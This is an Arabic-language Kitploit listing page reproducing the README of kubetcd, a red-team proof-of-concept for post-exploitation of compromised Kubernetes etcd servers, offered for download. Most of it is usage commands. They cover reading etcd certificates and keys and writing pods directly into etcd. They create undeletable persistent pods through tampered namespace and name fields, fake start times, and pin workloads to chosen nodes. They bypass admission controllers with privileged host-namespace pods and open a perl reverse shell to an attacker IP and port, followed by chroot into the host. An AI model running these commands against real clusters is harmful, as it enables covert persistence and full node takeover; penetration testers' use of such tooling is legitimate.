Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
kubetcd — استغلال ما بعد الاختراق لخادم etcd المُخترَق، وتحقيق استمرارية الوصول وصدفة عن بُعد إلى العُقد. | Kitploit
أدوات/GitHubGitHub/nccgroup/kubetcd
تصعيد الامتيازاتأمن الحاوياتآليات الاستمراريةالحركة الجانبيةما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHubnccgroup/kubetcd

kubetcd

استغلال ما بعد الاختراق لخادم etcd المُخترَق، وتحقيق استمرارية الوصول وصدفة عن بُعد إلى العُقد.

عرض المستودع
947منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Kubetcd

غلاف لـ https://github.com/jpbetz/auger.

يعمل على أتمتة نشر الحاويات (pods) عبر الكتابة المباشرة في etcd. يتضمن عدة وظائف لمرحلة ما بعد الاستغلال لخوادم etcd المخترقة.

إخلاء مسؤولية

[!WARNING]
هذا نموذج إثبات مفهوم (PoC)، لا تستخدمه في بيئة إنتاج. قد تؤدي الكتابة المباشرة إلى etcd إلى حدوث تباينات أو تلف في البيانات، مما قد يتسبب في فشل منطق kube-apiserver في استرجاع البيانات من etcd أو التعامل معها. يمكن نشر بيئات اختبار متعددة العقد باستخدام KIND

لماذا؟

يوفر المستودع الرئيسي، auger، الميزات الأساسية لتسلسل وإلغاء تسلسل الإدخالات المخزنة بصيغة protobuf في etcd. Kubetcd هو نموذج PoC يغلّف هذه الميزات لتقريب etcdctl من عميل kubectl العادي. في سيناريو وجود etcd مخترق، سيحاول kubetcd استخدام حاويات pods معدّلة وذات صلاحيات مرتفعة لتحقيق استمرارية الوصول والوصول المميز إلى أي/كل المضيفين في المجموعة. لاحظ أن kubetcd يدعم حالياً عمليات الحاويات pods فقط.

المتطلبات

يأخذ Kubetcd الشهادات والمفاتيح للمصادقة على خدمة etcd من المسارات الافتراضية التالية:

  • /etc/kubernetes/pki/etcd/ca.crt
  • /etc/kubernetes/pki/etcd/server.crt
  • /etc/kubernetes/pki/etcd/server.key (هذا قابل للقراءة فقط بواسطة root)

أيضاً، نقطة النهاية الافتراضية معينة على 127.0.0.1:2379

يمكن تغيير جميع القيم الافتراضية السابقة عبر المعاملات.

كما يجب تثبيت etcdctl، عميل etcd.

root@kitploit:~
sudo apt install etcd-client

التثبيت

اسحب الكود وقم بالبناء:

root@kitploit:~
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

مشاكل معروفة

قد تواجه الخطأ التالي:

root@kitploit:~
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

إذا حدث ذلك، قم ببناء kubetcd باستخدام Golang 1.19.

راجع https://github.com/jpbetz/auger للحصول على ميزات auger الأساسية، والتي لا تزال قائمة. سيوضح هذا README فقط الميزات الجديدة المضافة في الغلاف:


تشغيل kubetcd

root@kitploit:~
./kubetcd -h

جلب الكائنات

root@kitploit:~
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

إنشاء حاوية pod جديدة

يجب أن يكون templateName حاوية pod قيد التشغيل في النطاق (namespace) الافتراضي:

root@kitploit:~
./kubetcd create pod <name> -t <templateName>

يمكنك استبدال حاوية pod قيد التشغيل بمجرد تعيين نفس قيم name و templateName.

تغيير الصورة

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --image <image>

العبث بوقت البدء

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

الاستمرارية عبر بيانات غير متسقة

يحفظ ETCD الحاويات الجديدة في /registry/pods/<namespace>/<name> لكن يمكن العبث بحقلي namespace و name. وبذلك، يمكن سرد هذه الحاويات باستخدام kubectl لكن لا يمكن حذفها.

root@kitploit:~
./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

النشر على عقدة محددة

انشر عبء العمل على أي عقدة كما تشاء:

root@kitploit:~
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

تجاوز AdmissionControllers

انشر حاويات pods ذات صلاحيات مرتفعة في نطاقات namespaces مقيدة. سيؤدي هذا إلى تجاوز وحدات تحكم القبول المدمجة مثل PSPs أو PSAs أو أي سياسات أخرى مبنية على سياسات مخصصة مثل OPA Gatekeer أو Kyverno:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

ستقوم راية -P بتعيين أي حاوية pod كحاوية privileged وستشارك نطاقات network و PID و IPC مع العقدة الأساسية.

شل عكسي

انشر حاويات pods ذات صلاحيات مرتفعة في نطاقات مقيدة واحصل على شل عن بُعد:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

سيؤدي هذا إلى تشغيل شل perl عكسي، وهو متوفر في العديد من الصور افتراضياً. بمجرد حصولك على الشل العكسي، غيّر نظام الملفات الجذر باستخدام chroot /host للحصول على وصول كامل إلى العقدة.

TODO

  • إضافة دعم لثنائيات أخرى - وليس perl فقط - للحصول على شل عن بُعد
  • إضافة دعم لاستخدام قوالب من نطاقات namespaces أخرى غير الافتراضي
  • إضافة دعم لإنشاء/جلب/حذف عناصر خارج فرع corev1
تنزيل الأداة